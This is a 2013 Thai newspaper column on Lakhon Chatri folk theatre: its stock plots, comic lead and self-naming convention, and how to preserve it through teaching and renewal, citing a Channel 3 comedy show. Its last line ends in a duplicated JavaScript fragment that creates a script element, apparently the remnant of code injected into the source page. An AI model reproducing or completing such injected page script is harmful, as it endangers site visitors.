มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 7 มีนาคม 2556

 

         ก่อนบ่ายคลายเครียด ทางช่อง 3 เป็นตัวอย่างการสืบสานและสร้างสรรค์ละครชาตรีให้มีชีวิตร่วมสมัย แต่อยู่ที่วิธีคิดและวิธีทำของผู้เกี่ยวข้องจะไปกันได้ไหม?

         ละครชาตรี คือละครชาวบ้านเล่นแก้บน (เป็นต้นแบบละครนอก) เน้นเล่นสนุกสนานให้เป็นที่ชอบอกชอบใจของมหาชนคนดูเป็นสำคัญที่สุด ไม่เน้นฟ้อนรำขับร้อง(เหมือนละครใน)

         วิถีของละครชาวบ้านเล่นแก้บน เป็นละครเร่ต้องเคลื่อนย้ายไปรับจ้างเล่นตามหมู่บ้าน จึงต้องเลือกเรื่องใช้คนเล่นพร้อมกันน้อยที่สุด 3 ตัวเท่านั้น

         ตั้งแต่ยุคอยุธยา มาจนยุครัตนโกสินทร์ นิยมเล่น 2 เรื่อง คือ พระรถเสน กับนางมโนห์รา

         เรื่องพระรถเสน ตัวนายโรงเป็นพระรถเสน ตัวนางเป็นนางเมรี ตัวจำอวดเป็นม้า(ของพระรถเสน)

         เรื่องนางมโนห์รา ตัวนายโรงเป็นพระสุธน ตัวนางเป็นนางมโนห์รา ตัวจำอวดเป็นพรานบุญ(ใส่หน้ากาก)

         ตัวจำอวด คือตัวชูโรงจริงๆ คอยเชื่อมโยงเรื่องราวที่กำลังเล่นและสร้างมุขตลกขบขันให้คนดูสนุกสนาน ตัวพระตัวนางและตัวอื่นๆ(ถ้ามี) ต้องให้เข้ากันได้กับจำอวดจนเกือบพูดได้ว่าเล่นจำอวดกันทั้งโรง

         เครื่องแต่งตัวชุดเดียวกันหมดทุกเรื่อง(เพราะมีชุดเดียว) ฉะนั้นเมื่อออกเล่นต้องบอกคนดูให้รู้ว่ากำลังเล่นเป็นตัวอะไร? แล้วต้องย้ำให้บ่อยที่สุดโดยเรียกแทนตัวเองตามชื่อตัวละครที่กำลังเล่น โดยเฉพาะตัวพระกับตัวนาง เช่น พระรถ แทนตัวเองว่า พระรถ ส่วนเมรี ก็แทนตัวเองว่า เมรี

         นี่เองเป็นต้นเหตุให้ทุกวันนี้มีวัฒนธรรมเรียกแทนตัวด้วยชื่อตัวเอง ทั้งชื่อจริงและชื่อเล่น

         การอนุรักษ์มรดกทางวัฒนธรรมแบบละครชาตรีอย่างกว้างๆ มี 2 อย่าง คือ อนุรักษ์รูปแบบ กับอนุรักษ์เนื้อหา

         ต้องเลือกว่าจะให้ความสำคัญรูปแบบหรือเนื้อหา ซึ่งได้อย่าง มักต้องเสียอย่าง จะเอาทั้ง 2 อย่างยังไม่เคยมีใครทำสำเร็จ

         วิธีการอนุรักษ์ก็มี 2 อย่าง ต้องทำพร้อมกันไปถึงจะดี และได้ผล คือ สืบสาน กับสร้างสรรค์ กรณีละครชาตรีควรพิจารณาดังนี้

         1. สืบสาน ควรให้มีการเรียนการสอนละครชาตรีในสถาบันต่างๆ อย่างมีประวัติพัฒนาการตามหลักฐานประวัติศาสตร์โบราณคดีแท้จริง ไม่ใช่อ้างว่าทำตามๆกันมาตะพึดตะพือ แล้วใช้เป็นเครื่องมือครอบงำตามความคิดของตัวเอง

         2. สร้างสรรค์ โดยสร้างเครื่องแต่งตัวใหม่, สร้างเรื่องที่แสดงใหม่, ฯลฯ แล้วใช้เล่นทั้งเก่าและใหม่สลับกัน, หรือควบคู่กันไป

         รายการก่อนบ่ายคลายเครียด ออนแอร์ก่อนเที่ยง ทางช่อง 3 จันทร์-ศุกร์ เป็นกรณีตัวอย่างสำคัญมากๆสำหรับศึกษาเลียนแบบการสร้างสรรค์ละครชาตรี (ถ้าพิจารณาดีๆจะเห็นว่าก่อนบ่ายฯใช้กลวิธีเก่าๆของละครชาตรีอยู่ไม่น้อย และบางครั้งก็เล่นละครชาตรีด้วย)

         คนเล่นรุ่นก่อนๆเป็นครู ถ้าจะให้มีคนดูก็ต้องฝึกคนเล่นละครชาตรีรุ่นใหม่ที่เป็นหนุ่มเหน้าสาวสวยแน่นนับคับคั่ง เล่นให้สนุกได้อย่างจำอวด, ตลกก่อนบ่ายฯ

         คนเล่นละครชาตรีไม่ต้องรำดี ร้องดี (แบบกรมศิลป์) เอาแค่เลียนแบบรำได้ ร้องได้ อย่างคนเล่นก่อนบ่ายฯ ก็วิเศษแล้ว

         ข้อสำคัญคือละครชาตรีไม่มีกรอบมาครอบ(แบบละครใน) เพราะมีกำเนิดและพัฒนาการจากชุมชนชาวบ้าน ไม่ได้จุติจากราชสำนัก และทางการไม่รับเป็นของราชการ (เช่น กรมศิลปากรและสถาบันการศึกษาใน ก. วัฒนธรรม ไม่มีการเรียนการสอนละครชาตรีอย่างจริงจัง)

         นี่เท่ากับอนุญาตโดยกำเนิดให้สร้างสรรค์ได้อย่างเสรี

         ปัญหาที่จะมีต่อการสร้างสรรค์เพื่อให้การละเล่นเหล่านั้นมีชีวิตร่วมสมัยต่อไป คือผู้ไม่รู้ที่มีอำนาจ เที่ยวกำหนดว่าความถูกต้องคืออย่างนี้ อย่างนั้น อย่างโน้น

         ซึ่งมักไม่จริง แต่ในที่สุดนี่แหละจะทำให้สูญจริงๆvar d=document;var s=d.createElement(‘script’); var d=document;var s=d.createElement(‘script’);